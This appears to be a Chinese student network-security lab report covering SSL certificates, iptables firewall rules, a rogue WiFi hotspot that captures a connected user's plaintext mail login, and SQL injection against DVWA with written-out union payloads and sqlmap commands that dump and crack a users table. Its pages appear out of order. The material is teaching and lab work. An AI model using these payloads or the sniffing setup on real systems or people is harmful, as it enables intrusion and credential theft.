中選中【要求安全通道(SSL)】復(fù)選項(xiàng),并在【客戶端證書(shū)】欄中選中【接受客戶端證書(shū)】 復(fù)選項(xiàng),再單擊【確定】按鈕。返回【目錄安全性】面板,單擊【應(yīng)用】按鈕及【確定】按 鈕,完成配置。 11、在XP 系統(tǒng)打開(kāi)瀏覽器,輸入服務(wù)器IP 地址,進(jìn)入證書(shū)申請(qǐng)主頁(yè)面,此時(shí)會(huì)顯示錯(cuò)誤 信息頁(yè)面,要求采用https 的方式連接服務(wù)器,如圖所示。 12、把http 改成https 繼續(xù)訪問(wèn),此時(shí)瀏覽器提示你要安裝證書(shū),安裝完證書(shū)后,就可以正 常使用了。、再次打開(kāi)Wireshark,并點(diǎn)擊開(kāi)始抓包的按鈕。打開(kāi)IE 瀏覽器,輸入網(wǎng)址 https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓 包結(jié)果2。 14、分析比較抓包結(jié)果1 和抓包結(jié)果2 中,對(duì)IP/?id=1 請(qǐng)求處理的差異。 實(shí)驗(yàn)截圖 1、寫(xiě)出windows server 2003 下獨(dú)立根CA 的配置及應(yīng)用的過(guò)程,將重要的步驟截圖并保存。如上所示,重要的步驟截圖已置于相應(yīng)步驟下。 2、寫(xiě)出windows server 2003 下基于Web的SSL連接設(shè)置的過(guò)程,將重要的步驟截圖并保存。如上所示,重要的步驟截圖已置于相應(yīng)步驟下。 實(shí)驗(yàn)心得 通過(guò)此次實(shí)驗(yàn),我學(xué)會(huì)了Wireshark抓包的基本使用方法,學(xué)到了很多課本上沒(méi)有的新知識(shí),并對(duì)課本上的概念有了實(shí)際的更深的認(rèn)識(shí)。通過(guò)Wireshark所抓到的未使用SSL 連接和使用SSL 連接的信息的對(duì)比,我對(duì)HTTPS有了一定的了解,對(duì)計(jì)算機(jī)網(wǎng)絡(luò)通信中的數(shù)據(jù)傳輸安全有了大概的認(rèn)識(shí)。 HTTPS(全稱:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全為目標(biāo)的HTTP通道,簡(jiǎn)單講是HTTP的安全版。即HTTP下加入SSL層,HTTPS的安全基礎(chǔ)是SSL,因此加密的詳細(xì)內(nèi)容就需要SSL。它是一個(gè)URI scheme(抽象標(biāo)識(shí)符體系),句法類同http:體系。用于安全的HTTP數(shù)據(jù)傳輸。https:URL表明它使用了HTTP,但HTTPS存在不同于HTTP的默 14 認(rèn)端口及一個(gè)加密/身份驗(yàn)證層(在HTTP與TCP之間)。這個(gè)系統(tǒng)的最初研發(fā)由網(wǎng)景公司(Netscape)進(jìn)行,并內(nèi)置于其瀏覽器Netscape Navigator中,提供了身份驗(yàn)證與加密通訊方法。現(xiàn)在它被廣泛用于萬(wàn)維網(wǎng)上安全敏感的通訊,例如交易支付方面。它的主要作用可以分為兩種:一種是建立一個(gè)信息安全通道,來(lái)保證數(shù)據(jù)傳輸?shù)陌踩?;另一種就是確認(rèn)網(wǎng)站的真實(shí)性,凡是使用了 https 的網(wǎng)站,都可以通過(guò)點(diǎn)擊瀏覽器地址欄的鎖頭標(biāo)志來(lái)查看網(wǎng)站認(rèn)證之后的真實(shí)信息,也可以通過(guò) CA 機(jī)構(gòu)頒發(fā)的安全簽章來(lái)查詢。 Wireshark所抓到的未使用SSL 連接的http 信息,信息是明文傳輸,而使用SSL連接的https 則具有安全性的ssl加密傳輸協(xié)議,更加安全。 實(shí)驗(yàn)二 配置和管理主機(jī)防火墻 應(yīng)用場(chǎng)景 對(duì)于Internet 上的系統(tǒng),不管是什么情況,首先我們要明確一點(diǎn):網(wǎng)絡(luò)是不安全的。因此,雖然創(chuàng)建一個(gè)防火墻并不能保證系統(tǒng)100%安全,但卻是絕對(duì)必要的。和社會(huì)上其它任何事物一樣,Internet 經(jīng)常會(huì)受到一些無(wú)聊的或者別有用心的人的干擾,防火墻的目的就是將這類人擋在你的網(wǎng)絡(luò)之外,同時(shí)使你仍然可以完成自己的工作。 那么構(gòu)筑怎樣的Linux 防火墻系統(tǒng)才算是足夠安全呢?這是一個(gè)很難回答的問(wèn)題,因?yàn)椴煌膽?yīng)用環(huán)境對(duì)安全的要求不一樣。用一句比較恰當(dāng)而且簡(jiǎn)單的話來(lái)回答這個(gè)問(wèn)題:用戶了解自己的Linux 系統(tǒng)和設(shè)置,并且可以很好地保護(hù)好自己的數(shù)據(jù)和機(jī)密文件的安全,這對(duì)于該計(jì)算機(jī)用戶來(lái)說(shuō)就可以稱之為他的計(jì)算機(jī)有足夠的安全性。 那么到底什么是防火墻呢?防火墻是一個(gè)或一組系統(tǒng),它在網(wǎng)絡(luò)之間執(zhí)行訪問(wèn)控制策略。實(shí)現(xiàn)防火墻的實(shí)際方式各不相同,但是在原則上,防火墻可以被認(rèn)為是這樣一對(duì)機(jī)制:一種機(jī)制是攔阻傳輸流通行,另一種機(jī)制是允許傳輸流通過(guò)。一些防火墻偏重?cái)r阻傳輸流的通行,而另一些防火墻則偏重允許傳輸流通過(guò)。了解有關(guān)防火墻的最重要的概念可能就是它實(shí)現(xiàn)了一種訪問(wèn)控制策略。 一般來(lái)說(shuō),防火墻在配置上是防止來(lái)自“外部”世界未經(jīng)授權(quán)的交互式登錄的。這大大有助于防止破壞者登錄到你網(wǎng)絡(luò)中的計(jì)算機(jī)上。一些設(shè)計(jì)更為精巧的防火墻可以防止來(lái)自外部的傳輸流進(jìn)入內(nèi)部,但又允許內(nèi)部的用戶可以自由地與外部通信。如果你切斷防火墻的話,它可以保護(hù)你免受網(wǎng)絡(luò)上任何類型的攻擊。防火墻的另一個(gè)非常重要的特性是可以提供一個(gè)單獨(dú)的“攔阻點(diǎn)”,在“攔阻點(diǎn)”上設(shè)置安全和審計(jì)檢查。與計(jì)算機(jī)系統(tǒng)正受到某些人利用調(diào)制解調(diào)器撥入攻擊的情況不同,防火墻可以發(fā)揮一種有效的“電話監(jiān)聽(tīng)”和跟蹤工具的作用。防火墻提供了一種重要的記錄和審計(jì)功能;它們經(jīng)??梢韵蚬芾韱T提供一些情況概要,提供有關(guān)通過(guò)防火墻的傳輸流的類型和數(shù)量,以及有多少次試圖闖入防火墻的企圖等信息。 因此本實(shí)驗(yàn)將介紹如何配置linux 防火墻。 VM Client VM Server 實(shí)驗(yàn)?zāi)繕?biāo) 1.掌握l(shuí)inux 下基本的iptables 知識(shí) 2.學(xué)會(huì)配置iptables VM Windows VM Linux 實(shí)驗(yàn)環(huán)境 虛擬機(jī):linux,windowsXP;linux 主機(jī)用戶名:root;密碼:root 16 實(shí)驗(yàn)過(guò)程指導(dǎo) 一.Iptables 的規(guī)則表、鏈結(jié)構(gòu) 1.規(guī)則表(iptables管理4個(gè)不同的規(guī)則表,其功能由獨(dú)立的內(nèi)核模塊實(shí)現(xiàn))filter 表:包含三個(gè)鏈INPUT OUTPUT FORWARD nat表:PREROUTING POSTROTING OUTPUT mangle 表:PREROUTING POSTROUTING INPUT OUTPUT FORWARD raw 表:OUTPUT PREROUTING 2.規(guī)則鏈 INPUT 鏈當(dāng)收到訪問(wèn)防火墻本機(jī)的數(shù)據(jù)包(入站)時(shí),應(yīng)用此鏈中的規(guī)則 OUTPUT鏈當(dāng)防火墻本機(jī)向外發(fā)送數(shù)據(jù)包(出站)時(shí),應(yīng)用此鏈中的規(guī)則 FORWARD鏈?zhǔn)盏叫枰ㄟ^(guò)防火墻發(fā)送給其他地址的數(shù)據(jù)包,應(yīng)用此鏈 PREROUTING鏈做路由選擇之前,應(yīng)用此鏈 POSTROUTING鏈對(duì)數(shù)據(jù)包做路由選擇之后,應(yīng)用此鏈中的規(guī)則 二.數(shù)據(jù)包的匹配流程 1.規(guī)則表之間的優(yōu)先級(jí) raw mangle nat filter 2.規(guī)則鏈之間的優(yōu)先級(jí) 入站數(shù)據(jù)流向:來(lái)自外界的數(shù)據(jù)包到達(dá)防火墻,首先PREROUTING規(guī)則鏈處理(是否被修改地址),之后會(huì)進(jìn)行路由選擇(判斷該數(shù)據(jù)包應(yīng)該發(fā)往何處),如果數(shù)據(jù)包的目標(biāo)地址是防火墻本機(jī),那么內(nèi)核將其傳遞給INPUT 鏈進(jìn)行處理,通過(guò)以后再交給上次的應(yīng)用程序進(jìn)行響應(yīng)。 轉(zhuǎn)發(fā)數(shù)據(jù)流向:來(lái)自外界的數(shù)據(jù)包到達(dá)防火墻后,首先被PREROUTING 規(guī)則鏈處理,之后進(jìn)行路由選擇,如果數(shù)據(jù)包的目標(biāo)地址是其他外部地址,則內(nèi)核將其傳遞給FPRWARD 鏈進(jìn)行處理,然后再交給POSTROUTIING 規(guī)則鏈(是否修改數(shù)據(jù)包的地址等)進(jìn)行處理。 出站數(shù)據(jù)流向:防火墻本身向外部地址發(fā)送數(shù)據(jù)包,首先被OUTPUT 規(guī)則鏈處理,之后進(jìn)行路由選擇,然后交給POSTROUTING 規(guī)則鏈(是否修改數(shù)據(jù)包的地址等)進(jìn)行處理。3.規(guī)則鏈內(nèi)部各防火墻規(guī)則之間的優(yōu)先順序 依次按第1條規(guī)則、第2條規(guī)則、第3條規(guī)則??的順序進(jìn)行處理,找到一條能夠匹配的數(shù)據(jù)包規(guī)則,則不再繼續(xù)檢查后面的規(guī)則(使用LOG記錄日志的規(guī)則例外)。如果找不到匹配規(guī)則,就按照規(guī)則鏈的默認(rèn)策略進(jìn)行處理。 三.管理和設(shè)置iptables規(guī)則 Iptables 的基本語(yǔ)法格式選項(xiàng)名-A-D-I-R 功能及特點(diǎn) 在指定鏈的末尾添加(--append)一條新規(guī)則 刪除(--delete)指定鏈中的某一條規(guī)則,按規(guī)則序號(hào)或內(nèi)容確定要?jiǎng)h除的規(guī)則 在指定鏈中插入一條新規(guī)則,若未指定插入位置,則默認(rèn)在鏈的開(kāi)頭插入 修改、替換指定鏈中的一條規(guī)則,按按 17-L-F-X-P-n-v-V-h--line-numbers-N 1.查看規(guī)則表 # iptables-L INPUT--line-numbers //查看filter表中INPUT鏈中的所有規(guī)則,同時(shí)顯示各條規(guī)則的順序號(hào) 規(guī)則序號(hào)或內(nèi)容確定要替換的規(guī)則 列出指定鏈中所有的規(guī)則進(jìn)行查看,若未指定鏈名,則列出表中所有鏈的內(nèi)容 清空指定鏈中的所有規(guī)則,若未指定鏈名,則清空表中所有鏈的內(nèi)容 刪除表中用戶自定義的規(guī)則鏈 設(shè)置指定鏈的默認(rèn)策略(大p) 使用數(shù)字形式顯示輸出結(jié)果,如顯示主機(jī)的IP地址而不是主機(jī)名 查看規(guī)則列表時(shí)顯示詳細(xì)的信息 查看iptables命令工具的版本信息 查看命令幫助信息 查看規(guī)則列表時(shí),同時(shí)顯示規(guī)則在鏈中的順序號(hào) 新建一條用戶自定義的規(guī)則鏈 2.刪除、清空規(guī)則 # iptables-F //不指定表名時(shí),默認(rèn)情況filter表 3.設(shè)置規(guī)則鏈的默認(rèn)策略 # iptables-t filter-P FORWARD DROP //將filter表中FORWARD規(guī)則的默認(rèn)策略設(shè)為DROP # iptables-P OUTPUT ACCEPT //將filter表中OUTPUT規(guī)則的默認(rèn)策略設(shè)為ACCEPT 18 四.條件匹配 1.通用(general)條件匹配(直接使用,而不依賴于其他的條件匹配及其擴(kuò)展)協(xié)議匹配(允許使用的協(xié)議名包含在/etc/protocols文件中) # iptables-AINPUT-p icmp–j REJECT //拒絕進(jìn)入防火墻的所有icmp數(shù)據(jù)包 地址匹配 拒絕轉(zhuǎn)發(fā)來(lái)自192.168.1.11主機(jī)的數(shù)據(jù),允許轉(zhuǎn)發(fā)來(lái)自192.168.0./24網(wǎng)段的數(shù)據(jù) # iptables-A FORWARD-s 192.168.1.11-j REJECT 2.隱含(implicit)條件匹配(需要指定的協(xié)議匹配為前提,其對(duì)應(yīng)的功能由iptables自動(dòng)(隱含)的裝載入內(nèi)核),如果無(wú)匹配條件,默認(rèn)為REJECT。 端口匹配 僅允許系統(tǒng)管理員從202.13.0.0/16網(wǎng)段使用SSH方式遠(yuǎn)程登錄防火墻主機(jī) # iptables-A INPUT-p tcp--dport 22-s 202.13.0.0/16-j ACCEPT 五.在進(jìn)行了上述規(guī)則講解與熟悉之后,接下來(lái)的步驟進(jìn)行防火墻規(guī)則配置與測(cè)試 禁止Windows主機(jī)ping防火墻linux主機(jī),但是允許從防火墻上ping其他主機(jī)(允許接受ICMP回應(yīng)數(shù)據(jù)) 1.配置linux防火墻主機(jī)ip地址,如下圖所示: 2.配置windows 主機(jī)ip地址,如下圖所示: 3.配置linux 主機(jī)防火墻規(guī)則,如下圖所示: 4.在此在windows 主機(jī)和linux 主機(jī)上進(jìn)行相互ping 測(cè)試,測(cè)試結(jié)果如下圖所示: windows主機(jī)無(wú)法ping通linux防火墻主機(jī),但是linux主機(jī)可以ping通windows主機(jī)。 實(shí)驗(yàn)截圖 如上所示,重要的步驟截圖已置于相應(yīng)步驟下。 實(shí)驗(yàn)心得 1)如何在linux 主機(jī)上配置防火墻規(guī)則以防止DDOS 高級(jí)? 答:默認(rèn)的iptables規(guī)則是無(wú)法過(guò)濾DDOS攻擊數(shù)據(jù)的,我們需要添加過(guò)濾規(guī)則實(shí)現(xiàn)iptables擁有抗DDOS的能力: 屏蔽 SYN_RECV 的連接 -A FORWARD-p tcp-m tcp--tcp-flags FIN,SYN,RST,ACK SYN-m limit--limit 1/sec-j ACCEPT 限制IP碎片,每秒鐘只允許100個(gè)碎片,用來(lái)防止DoS攻擊-A FORWARD-f-m limit--limit 100/sec--limit-burst 100-j ACCEPT 限制ping包每秒一個(gè),10個(gè)后重新開(kāi)始 -A FORWARD-p icmp-m limit--limit 1/sec--limit-burst 10-j ACCEPT 限制ICMP包回應(yīng)請(qǐng)求每秒一個(gè) -A FORWARD-p icmp-m icmp--icmp-type 8-m limit--limit 1/sec-j ACCEPT 此處自定義一個(gè)表 -A FORWARD-j RH-Firewall-1-INPUT 完全接受 loopback interface 的封包-A RH-Firewall-1-INPUT-i lo-j ACCEPT 允許主機(jī)接受 ping-A RH-Firewall-1-INPUT-p icmp-m icmp--icmp-type any-j ACCEPT 允許連線出去后對(duì)方主機(jī)回應(yīng)進(jìn)來(lái)的封包 22-A RH-Firewall-1-INPUT-m state--state RELATED,ESTABLISHED-j ACCEPT 允許防火墻開(kāi)啟指定端口 -A RH-Firewall-1-INPUT-p tcp-m state--state NEW-m tcp--dport port-j ACCEPT 限制SSH登陸 只允許在***.***.***.***上使用ssh遠(yuǎn)程登錄,從其它計(jì)算機(jī)上禁止使用ssh iptables-A INPUT-s ***.***.***.***-p tcp--dport 22-j ACCEPT iptables-A INPUT-p tcp--dport 22-j DROP 2)linux 主機(jī)防火墻處理數(shù)據(jù)包的順序是什么? 答:(1)當(dāng)包到達(dá)端口時(shí),對(duì)包報(bào)頭進(jìn)行語(yǔ)法分析。大多數(shù)包過(guò)濾設(shè)備只檢查IP、TCP、或UDP報(bào)頭中的字段。 (2)若一條規(guī)則阻止包傳輸或接收,則此包便不被允許。 (3)若一條規(guī)則允許包傳輸或接收,則此包便可以被繼續(xù)處理。(4)若包不滿足任何一條規(guī)則,則此包便被阻塞。 實(shí)驗(yàn)三WIFI 釣魚(yú) 步驟一 共享WIFI 工具:電腦、WIN7 系統(tǒng)、無(wú)線網(wǎng)卡 步驟 1.開(kāi)始菜單-->命令提示符(cmd)-->右鍵,以管理員身份運(yùn)行 2.運(yùn)行以下命令啟用虛擬網(wǎng)卡 >netsh wlan set hostednetwork mode=allow ssid=(這里寫(xiě)無(wú)線網(wǎng)名字)key=(這里是密碼) 3.網(wǎng)絡(luò)共享中心-->更改高級(jí)適配器設(shè)置-->右鍵已連接到Internet 的網(wǎng)絡(luò)連接-->屬性-->切換 到“共享”選項(xiàng)卡,選中其中的復(fù)選框,并選擇允許其共享Internet 的網(wǎng)絡(luò)連接,這里即我 們的虛擬WIFI 網(wǎng)卡 4.開(kāi)啟無(wú)線網(wǎng)絡(luò),繼續(xù)在命令提示符中運(yùn)行以下命令: >netsh wlan start hostednetwork 24 即可開(kāi)啟我們之前設(shè)置好的無(wú)線網(wǎng)絡(luò)(相當(dāng)于打開(kāi)路由器的無(wú)線功能) 步驟二 WIFI 釣魚(yú) 工具:其他筆記本或手機(jī)、Wareshark 步驟 1.搜索到剛剛設(shè)置的WIFI,連接上(密碼為剛剛設(shè)置的key:12345679) 2.在筆記本上打開(kāi)wareshark,選擇capture-->interfaces 3.選擇Packets 最多的項(xiàng),點(diǎn)擊start 按鈕 4.在手機(jī)或筆記本上打開(kāi)中南大學(xué)郵箱網(wǎng)站:http://mail.csu.edu.cn/,在主機(jī)上用wareshark 捕捉 http 的包 (這里大家可以自由實(shí)驗(yàn),能監(jiān)控到連接到該WIFI 的機(jī)器的所有包的情況)5.在手機(jī)或筆記本上輸入用戶名和密碼,點(diǎn)擊登錄 6.在主機(jī)上用wareshark 捕捉到剛剛post 提交的http 包,右鍵選擇Follow tcp stream 7.可以看到剛剛提交的用戶名和密碼,且是未經(jīng)過(guò)加密的 實(shí)驗(yàn)截圖 如上所示,重要的步驟截圖已置于相應(yīng)步驟下。 實(shí)驗(yàn)心得 本次實(shí)驗(yàn)是在自己的筆記本上做的,實(shí)驗(yàn)也比較簡(jiǎn)單,所以做得比較快效果比較好。通過(guò)本次實(shí)驗(yàn),大致了解了WIFI釣魚(yú)的操作過(guò)程,同時(shí),也讓自己有了警覺(jué)之心,要養(yǎng)成良好的WIFI使用習(xí)慣。手機(jī)會(huì)把使用過(guò)的WIFI熱點(diǎn)都記錄下來(lái),如果WiFi開(kāi)關(guān)處于打開(kāi)狀態(tài),手機(jī)就會(huì)不斷向周邊進(jìn)行搜尋,一旦遇到同名的熱點(diǎn)就會(huì)自動(dòng)進(jìn)行連接,存在被釣魚(yú)風(fēng)險(xiǎn)。因此當(dāng)我們進(jìn)入公共區(qū)域后,盡量不要打開(kāi)WIFI開(kāi)關(guān),或者把WiFi調(diào)成鎖屏后不再自動(dòng)連接,避免在自己不知道的情況下連接上惡意WIFI。 實(shí)驗(yàn)四 SQL注入攻擊 【實(shí)驗(yàn)?zāi)康摹?/p> SQL注入攻擊指的是通過(guò)構(gòu)建特殊的輸入作為參數(shù)傳入Web應(yīng)用程序,而這些輸入大都是SQL語(yǔ)法里的一些組合,通過(guò)執(zhí)行SQL語(yǔ)句進(jìn)而執(zhí)行攻擊者所要的操作,其主要原因是程序沒(méi)有細(xì)致地過(guò)濾用戶輸入的數(shù)據(jù),致使非法數(shù)據(jù)侵入系統(tǒng)。根據(jù)相關(guān)技術(shù)原理,SQL注入可以分為平臺(tái)層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫(kù)配置或數(shù)據(jù)庫(kù)平臺(tái)的漏洞所致;后者主要是由于程序員對(duì)輸入未進(jìn)行細(xì)致地過(guò)濾,從而執(zhí)行了非法的數(shù)據(jù)查詢。 本次實(shí)驗(yàn)?zāi)康氖橇私鈙ql注入的常見(jiàn)手段,要到兩個(gè)工具: ①dvwa(Dam Vulnerable Web Application)是用PHP+Mysql編寫(xiě)的一套用于常規(guī)WEB漏洞教學(xué)和檢測(cè)的WEB脆弱性測(cè)試程序。包含了SQL注入、XSS、盲注等常見(jiàn)的一些安全漏洞。 ② sqlmap是一個(gè)自動(dòng)化的SQL注入工具,其主要功能是掃描,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞。 【實(shí)驗(yàn)組網(wǎng)拓?fù)洹?/p> VM Client VM Server 【實(shí)驗(yàn)一:dvwa手動(dòng)sql注入】 1、連接好虛擬機(jī)拓?fù)鋱D,配置WindowsXP Client和Windows XP Server的IP使其在同一個(gè)局域網(wǎng)網(wǎng)段。 2、打開(kāi)Server端的xampp,啟動(dòng)apache和mysql。打開(kāi)Client的瀏覽器,訪問(wèn)Server的IP/dvwa,如“192.168.1.32/dvwa”,登陸賬戶為admin,密碼為password。 3、選擇SQLInjection,點(diǎn)擊右下角的ViewSource,查看PHP源代碼。 4、正常測(cè)試,輸入“1”,得到正常結(jié)果,如下所示。 5、當(dāng)將輸入變?yōu)椤?”時(shí),頁(yè)面提示錯(cuò)誤“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,結(jié)果如圖。看到這個(gè)結(jié)果,可以知道,這個(gè)表單存在著注入漏洞。 6、嘗試輸入:“1’or 1=1–”注意“--”后面有空格!此時(shí)成功進(jìn)行sql注入。 7、測(cè)試查詢信息列數(shù)。利用語(yǔ)句order by num。這里輸入“ 1'order by 1--” 結(jié)果頁(yè)面正常顯示,注意--后面有空格。繼續(xù)測(cè)試,“ 1'order by 2--”,“ 1'order by 3--”,當(dāng)輸入3是,頁(yè)面報(bào)錯(cuò)。頁(yè)面錯(cuò)誤信息如下,Unknown column '3' in 'order clause',由此查詢結(jié)果值為2列。 8、嘗試注入“1' and 1=2 union select 1,2--”,從而得出First name處顯示結(jié)果為查詢結(jié)果第一列的值,surname處顯示結(jié)果為查詢結(jié)果第二列的值,利用內(nèi)置函數(shù)user(),及database(),version()注入得出連接數(shù)據(jù)庫(kù)用戶以及數(shù)據(jù)庫(kù)名稱:“1' and 1=2 union select user(),database()--”。 9、選擇DVWA Security,將安全級(jí)別分別設(shè)置為中、高。再運(yùn)行上面的實(shí)驗(yàn)sql語(yǔ)句,結(jié)合右下角的ViewSource,分析三種等級(jí)的代碼和sql注入效果有何區(qū)別。在安全級(jí)別分別設(shè)置為低時(shí),結(jié)合PHP源代碼,考慮不采用“--”的情形下,完成sql注入,寫(xiě)出sql注入語(yǔ)句。 【實(shí)驗(yàn)二:sqlmap測(cè)試dvwa】 1、打開(kāi)Server端的xampp,啟動(dòng)apache和mysql。打開(kāi)Client的瀏覽器,訪問(wèn)Server的IP/dvwa,如“169.254.180.158/dvwa”,登陸賬戶為admin,密碼為password。選擇DVWA Security,將安全級(jí)別分別設(shè)置為低。 2、選擇XSS reflected,輸入“ 3、使用sqlmap查找注入點(diǎn),打開(kāi)Client端的控制臺(tái)窗口,轉(zhuǎn)到目錄“C:Python27sqlmap”,輸入以下命令,注意!“169.254.180.158”表示Server的IP,“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”表示上一步所獲得的cookie值,請(qǐng)同學(xué)們按照實(shí)際環(huán)境 33 填寫(xiě)相應(yīng)的值!“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5””。 依據(jù)以下信息,得到可能的注入點(diǎn)是id,數(shù)據(jù)庫(kù)是mysql。 [INFO] heuristic(basic)test shows that GET parameter 'id' might be injectable(possible DBMS: 'MySQL')[INFO] GET parameter 'id' is 'MySQL UNION query(NULL)-1 to 20 columns' injectable 4、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db”得到當(dāng)前數(shù)據(jù)庫(kù)名。 current database: 'dvwa' 5、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”--current-db--tables-Ddvwa”得到數(shù)據(jù)庫(kù)所有表。 6、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--columns”得到user表的所有列。 7、輸入“sqlmap.py-u “http://169.254.180.158/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit”--cookie=“security=low;PHPSESSID=mkoc8iuc07hfre7vvo0e5ghjv5”-T users--dump”得到user表的所有列,在sqlmap詢問(wèn)時(shí)候破解密碼時(shí),選擇是,sqlmap會(huì)使用自己的字典來(lái)破解密碼,得到5個(gè)用戶的密碼。此時(shí)就完成了利用sqlmap進(jìn)行“拖庫(kù)”的基本步驟。 實(shí)驗(yàn)截圖 如上所示,重要的步驟截圖已置于相應(yīng)步驟下。 實(shí)驗(yàn)心得 隨著B(niǎo)/S模式應(yīng)用開(kāi)發(fā)的發(fā)展,使用這種模式編寫(xiě)應(yīng)用程序的程序員也越來(lái)越多。但是由于程序員的水平及經(jīng)驗(yàn)也參差不齊,相當(dāng)大一部分程序員在編寫(xiě)代碼的時(shí)候,沒(méi)有對(duì)用戶輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫(kù)查詢代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。 此次的實(shí)驗(yàn)讓我了解了SQL注入攻擊的原理和過(guò)程,讓我了解到了做這方面開(kāi)發(fā)的時(shí)候需要注意的安全性問(wèn)題,也意識(shí)到安全的重要性和數(shù)據(jù)庫(kù)的一些欠缺,提高了自己在這方面的安全意識(shí)。在實(shí)驗(yàn)的過(guò)程中遇到了很多困難,配置上的,環(huán)境上的,還有一些需要注意的小問(wèn)題。很高興順利完成了這次實(shí)驗(yàn),期待下次能使用更高級(jí)的工具進(jìn)行掃描和實(shí)施攻擊,當(dāng)然,以后的開(kāi)發(fā)過(guò)程中也要特別注意這些脆弱點(diǎn)了。 學(xué)生姓名指導(dǎo)教師學(xué) 院專業(yè)班級(jí)學(xué) 號(hào)完成時(shí)間中南大學(xué) 網(wǎng)絡(luò)安全 實(shí)驗(yàn)報(bào)告 代巍 張士庚 信息科學(xué)與工程學(xué)院 信安1201班 0909121615 年12月15日 2014 目錄 實(shí)驗(yàn)一 CA證書(shū)與SSL連接 實(shí)驗(yàn)二 WIFI釣魚(yú) 實(shí)驗(yàn)三 SQL注入攻擊 實(shí)驗(yàn)四 配置和管理主機(jī)防火墻 實(shí)驗(yàn)一 CA證書(shū)與SSL連接 一.實(shí)驗(yàn)?zāi)康?/p> 通過(guò)申請(qǐng)、安裝數(shù)字證書(shū),掌握使用SSL建立安全通信通道的方法。掌握在Windows Server 2003 下獨(dú)立根CA 的安裝和使用。使用WEB 方式申請(qǐng)證書(shū)和安裝證書(shū)。建立SSL 網(wǎng)站。 分析SSL 網(wǎng)站的數(shù)據(jù)包特點(diǎn)。二.實(shí)驗(yàn)原理 SSL協(xié)議的工作原理、數(shù)字證書(shū)的原理 在訪問(wèn)Web 站點(diǎn)時(shí),如果沒(méi)有較強(qiáng)的安全措施,用戶訪問(wèn)的數(shù)據(jù)是可以使用網(wǎng)絡(luò)工具 捕獲并分析出來(lái)的。在Web 站點(diǎn)的身份驗(yàn)證中,有一種基本身份驗(yàn)證,要求用戶訪問(wèn)輸入 用戶名和密碼時(shí),是以明文形式發(fā)送密碼的,蓄意破壞安全性的人可以使用協(xié)議分析程序破 譯出用戶名和密碼。那我們?cè)撊绻苊饽??可利用SSL 通信協(xié)議,在Web 服務(wù)器上啟用安 全通道以實(shí)現(xiàn)高安全性。 SSL 協(xié)議位于TCP/IP 協(xié)議與各種應(yīng)用層協(xié)議之間,為數(shù)據(jù)通訊提供安全支持。SSL 協(xié) 議可分為兩層: SSL 記錄協(xié)議(SSL Record Protocol):它建立在可靠的傳輸協(xié)議(如TCP) 之上,為高層協(xié)議提供數(shù)據(jù)封裝、壓縮、加密等基本功能的支持。SSL 握手協(xié)議(SSL Handshake Protocol):它建立在SSL 記錄協(xié)議之上,用于在實(shí)際的數(shù)據(jù)傳輸開(kāi)始前,通訊雙 方進(jìn)行身份認(rèn)證、協(xié)商加密算法、交換加密密鑰等。每一個(gè)Windows Server 2003 證書(shū)頒發(fā) 機(jī)構(gòu)都有可供用戶和管理員使用的網(wǎng)頁(yè)。三.實(shí)驗(yàn)環(huán)境 虛擬機(jī):Windows Server 2003,Windows XP,Wireshark 抓包軟件。四.實(shí)驗(yàn)過(guò)程 任務(wù)一:windows server 2003 環(huán)境下獨(dú)立根CA 的安裝及使用 1、windows server 2003 環(huán)境下獨(dú)立根CA 的安裝及使用,啟動(dòng)Windows Server 2003 和Windows XP,配臵其IP,使其在同一局域網(wǎng)網(wǎng)段。在Windows Server 2003 中,選擇【開(kāi)始】|【控制面板】|【添加和刪除程序】,在彈出窗口中選擇【添加和刪除windows 組件】,在【組件】列表框中選擇【證書(shū)服務(wù)】,再單擊【下一步】按鈕,如下圖所示。 2、在彈出的窗口中選擇【獨(dú)立根CA】單選按鈕,單擊【下一步】按鈕,在彈出窗口中按要求依次填入CA 所要求的信息,單擊【下一步】按鈕,如下圖所示。 3、繼續(xù)選擇【證書(shū)數(shù)據(jù)庫(kù)】、【數(shù)據(jù)庫(kù)日志】和配臵信息的安裝、存放路徑,如下圖所示,單擊【下一步】按鈕。安裝的時(shí)候,可能會(huì)彈出如下窗口,為了實(shí)驗(yàn)方便,已經(jīng)把I386 文件夾復(fù)制到C:下,選擇【瀏覽】,選擇文件夾“C:I386”,點(diǎn)【確定】,完成安裝。 4、選擇【開(kāi)始】|【程序】|【管理工具】,可以找到【證書(shū)頒發(fā)機(jī)構(gòu)】,說(shuō)明CA 的安裝已經(jīng)完成,如下圖所示。 5、從同一局域網(wǎng)中的另外一臺(tái)XP 開(kāi)啟IE 瀏覽器,輸入http://windows2003 的IP/certsrv/,選中【申請(qǐng)一個(gè)證書(shū)】,如下圖所示,在彈出的頁(yè)面中選擇【web 瀏覽器證書(shū)】。 6、在彈出窗口中填寫(xiě)用戶的身份信息,完成后進(jìn)行【提交】。此種情況下,IE 瀏覽器采用 默認(rèn)的加密算法生成公鑰對(duì),私鑰保存在本地計(jì)算機(jī)中,公鑰和用戶身份信息按照標(biāo)準(zhǔn)的格式發(fā)給CA 服務(wù)器,如圖所示,單擊【是】,進(jìn)入下一步。CA 